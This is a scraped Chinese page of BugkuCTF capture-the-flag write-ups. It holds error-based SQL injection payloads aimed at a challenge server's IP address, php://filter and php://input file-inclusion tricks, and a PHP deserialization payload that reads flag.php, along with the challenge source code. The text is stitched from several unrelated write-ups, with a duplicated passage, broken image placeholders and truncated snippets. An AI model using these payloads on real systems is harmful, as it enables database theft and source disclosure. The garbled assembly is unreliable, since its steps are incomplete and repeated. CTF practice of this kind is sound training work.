    # 查数据表 http://123.206.87.240:9004/Once_More.php?id=1’ and updatexml(1,concat(’~’,(select group_concat(table_name) from information_schema.tables where table_schema=database()),’~’),3) %23

    # 查字段 ?id=1’ and updatexml(1,concat(’~’,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘flag2’),’~’),3) %23

    # 查数据 ?id=1’ and updatexml(1,concat(’~’,(select flag2 from flag2),’~’),3) %23

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AA9uznTX-1593143273966)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image106.gif)]

    *(41)php_encrypt_1

    (42)文件包含

    看到地址有file所以想到有文件包含利用漏洞+php协议

    原理:利用php://filter协议读取文件,payload

    php://filter/read=convert.base64.encode/resource=index.php

    这句话的意思是我们用base64编码的方式来读文件index.php;这时页面会显示出源文件index.php经过base64编码后的内容,然而页面显示了naive,过分哦!!!

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CnPTtEAR-1593143273967)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image108.gif)]

    发现了upload.php这个页面,文件上传

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TZs4hw5D-1593143273968)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image110.gif)]

    抓包看看有没有限制,只能上传图片,文件不能大于100K

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H9kCf4ed-1593143273969)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image112.gif)]

    成功上传,但是访问路径什么都没有,所以构造payload访问

    //查看目录中有什么文件

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VO8kaGPa-1593143273970)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image114.gif)]

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ifif8sPp-1593143273971)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image116.gif)]

    file所以想到有文件包含利用漏洞+php协议

    原理:利用php://filter协议读取文件,payload

    php://filter/read=convert.base64.encode/resource=index.php

    这句话的意思是我们用base64编码的方式来读文件index.php;这时页面会显示出源文件index.php经过base64编码后的内容,然而页面显示了naive,过分哦!!!

    [外链图片转存中…(img-CnPTtEAR-1593143273967)]

    发现了upload.php这个页面,文件上传

    [外链图片转存中…(img-TZs4hw5D-1593143273968)]

    抓包看看有没有限制,只能上传图片,文件不能大于100K

    [外链图片转存中…(img-H9kCf4ed-1593143273969)]

    成功上传,但是访问路径什么都没有,所以构造payload访问

    //查看目录中有什么文件

    [外链图片转存中…(img-VO8kaGPa-1593143273970)]

    [外链图片转存中…(img-ifif8sPp-1593143273971)]

    展开全文
  • 首先使用burp进行抓包 <!-- $user = $_GET["txt"]; $file = $_GET["file"]; $pass = $_GET["password"]; if(isset($user)&...(file_get_contents($user,'r')==="welcome to the bugkuc...

     

     

    首先使用burp进行抓包

     

    <!--  
    $user = $_GET["txt"];  
    $file = $_GET["file"];  
    $pass = $_GET["password"];  
      
    if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
        echo "hello admin!<br>";  
        include($file); //hint.php  
    }else{  
        echo "you are not admin ! ";  
    }  
     -->  

    可以看到源代码我大概的说一下其中的含义

    1.三个传参

    2.$user存在且不为空

    3.读取$user文件内容为welcome to the bugkuctf

    4.$file要求为hint.php将其导入

     

    展开全文
  • BugkuCTF welcome to bugkuctf

    2019-04-22 00:36:23
    查看源代码 $user = $_GET["txt"]; $file = $_GET["file"]; $pass = $_GET["password"];...(file_get_contents($user,'r')==="welcome to the bugkuctf")) // $user必须存在 $user为文件且读出来...

    在这里插入图片描述

    1. 查看源代码
    $user = $_GET["txt"];  
    $file = $_GET["file"];  
    $pass = $_GET["password"];  
     
    if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf"))
    // $user必须存在  $user为文件且读出来的值为 welcome........并且类型、内容完全相同
    {  
        echo "hello admin!<br>";  
        include($file); //hint.php  
    // 满足条件之后读取hint.php
    }
    else
    {  
        echo "you are not admin ! ";  
    }  
    
    
    
    // isset($user) isset检测变量是否设置  
    	若变量不存在则返回FALSE
    	若变量存在且其值为NULL,也返回FALSE
    	若变量存在且值不为NULL,则返回TURE
    // file_get_contents($user,'r')将整个文件读入一个字符串 
    
    1. php://input
      php://input 是个可以访问请求的原始数据的只读流,可以读取没有处理过的POST数据
      所以这里用 txt=php://input post值为 welcome to the bugkuctf在这里插入图片描述
    2. php://filter
      php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流
      构造语句file=php://filter/read/convert.base64-encode/resource=hint.php
      在这里插入图片描述
    3. 将得到的值base64解码
    <?php  
      
    class Flag{//flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
    			echo "<br>";
    		return ("good");
            }  
        }  
    }  
    

    在此代码上找不到线索 在同样用php伪协议来读一下index.php
    在这里插入图片描述

    <?php  
    $txt = $_GET["txt"];  
    $file = $_GET["file"];  
    $password = $_GET["password"];  
      
    if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
        echo "hello friend!<br>";  
        if(preg_match("/flag/",$file)){     //file中过滤了flag
    		echo "不能现在就给你flag哦";
            exit();  
        }else{                               //如果file中没有flag则将file包含进去,将$password反序列化
            include($file);   
            $password = unserialize($password);  
            echo $password;  
        }  
    }else{  
        echo "you are not the number of bugku ! ";  
    }  
      
    ?>  
      
    <!--  
    $user = $_GET["txt"];  
    $file = $_GET["file"];  
    $pass = $_GET["password"];  
      
    if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
        echo "hello admin!<br>";  
        include($file); //hint.php  
    }else{  
        echo "you are not admin ! ";  
    }  
     -->  
    

    hint.php中__tostring()函数
    当调用实例化对象时就会自动执行_tostring()也就是创造一个这个类的对象就会调用,并输出&file

    1. 反序列化

    反序列化在原来的文章提到过实验吧 天网管理系统

    将password序列化

    <?php
    class Flag{//flag.php  
        public $file; 
    }
    $a = new Flag();
    $a->file = "flag.php";
    echo serialize($a);
    ?>
    

    得到O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

    1. 构造$password
      在这里插入图片描述得到flag:flag{php_is_the_best_language}
    展开全文
  • bugkuCTF

    2019-10-18 23:29:46
    这题说实话我一脸懵逼,计网还没学的我,瑟瑟发抖,赶紧去百度。 思路分析: 涉及到域名解析,也就是dns服务,看了看writeup,都是修改host文件,百度了下host文件的作用,才明白了 host文件是作用是定义了本机上ip...

    在这里插入图片描述
    这题说实话我一脸懵逼,计网还没学的我,瑟瑟发抖,赶紧去百度。
    思路分析:
    涉及到域名解析,也就是dns服务,看了看writeup,都是修改host文件,百度了下host文件的作用,才明白了
    host文件是作用是定义了本机上ip和域名之间的关系,一般当我们上网一时都是输入域名:www.xxx.com,会有dns服务器帮我们解析成ip,但是会先从host文件里面去找是否有映射关系,如果没有才会去拜托dns服务器,如果有就可以直接解析,host文件级别比dns高。

    在这里插入图片描述

    展开全文
  • bugkuctf

    2019-10-16 10:46:08
    目录 web3 域名解析 你必须让他停下 变量1 网站被黑 web3 不断跳出弹框,用firefox可阻止,chrome没找到,查看源代码 百度查出是Html特殊字符,在Html页面...C:\Windows\System32\drivers\etc找到hos...
  • BugkuCTF

    2019-01-03 15:42:00
    1.听说备份是个好习惯 访问时,有一串md5 d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e 解密说是空密码。 然后进行目录扫描,发现源码泄露。 <?php /** ......
  • 今天心情有点复杂!!! 0x01 前言 ...经过一番资料学习emmmm,此题知识点主要 YOU 代码审计、反序列化...三个GET传参、条件存在user且内容welcometothebugkuctf、user且内容 welcome to the bugkuctf 、user且内容wel...
  • 题目描述: 查看源码: you are not the number of bugku ! <!-- $user = $_GET["txt"]; $file = $_GET["file"]; $pass = $_GET["password"]; if(isset($user)&&am...
  • 今天做到了一道比较有收获的题,所以呢就打算记下来,涉及到了文件包含的知识,复习复习,对于目前滴俺来说,确实有难度! 题目链接 首先打开题目,如图 查看源码 好的!注释成功引起了我们的注意,第一个线索找到...
  • 然后读取的user的内容要和“welcome to bugkuctf”相同 include()是动态获取文件名,也就是这个文件名是hint.php 接着我们要让user的值和我们预想的一样,那就要我们手动传值了 这里用到的是php...
  • bugku ctf web

    2020-04-22 16:25:17
    1 web2 开始是这样的 似曾相识的一幕,buuctf上的web第一题也是滑稽 f12走一波 简单 2 计算器 直接算嘛,但是,好像只能输入一位数,老规矩f12 ...你会发现,长度被限制了,把maxlength改成2即可 ...
  • bugku ctf学习

    2020-04-21 15:35:48
    day1、2(都是向其他人学习的方法,由于没有及时记录就简写了) web2 f12获得flag。 计算器 结果框只能输一个数字,f12更改前端代码即可输入计算结果获得flag。 web基础$_GET 发现是get请求再结合代码含义,在url后...
  • bugkuctf web2

    2020-12-03 10:51:29
    bugku WEB web2web2小结 记录小白刷题过程 web2 按下F12查看源代码 得到flag如图 flag KEY{Web-2-bugKssNNikls9100} 小结 考察F12查看源代码
  • BugkuCTF-telnet

    2020-11-08 21:52:03
    进入题目下载文件 点开这个文件 进入文件,因为题目叫telnet所以搜索telnet 因为是要找flag的所以查找一个分组查找flag 找到之后追踪 即可找到flag
  • BugkuCTF wp

    2020-02-11 13:13:28
    MISC 签到题 扫码关注微信公众号即可获得flag 这是一张单纯的图片 用UE打开如图,在ascii码最下面发现一串编码,发现是字符实体编码。 ...网站在线解码可得flag 隐写 打开图片,先用stegsolve跑一边没有发现什么,LSB...
  • 最近在BugkuCTF上做练习,前几天还好好的,现在链接打开很慢,而且等了很久也没有反应。有些题目打开后显示404,不知道是什么原因,现在大多数题目都无法打开,我是Web部分,详细信息就是Mac+kali虚拟机,使用自带...
  • BugkuCTF_矛盾

    2020-10-27 15:25:27
    is_numeric() 函数用于检测变量是否为数字或数字字符串。 PHP双等号 弱类型 当等号两边类型不同时,先转换为相同的类型,再对转换后的值进行比较 传入参数绕过 ?num=1a
  • BugkuCTF_计算器

    2020-10-27 15:04:57
    发现只能输入一个字符 直接F12修改

空空如也

1 2 3 4 5 ... 20
收藏数 2,297
精华内容 918
关键字:

bugkuctf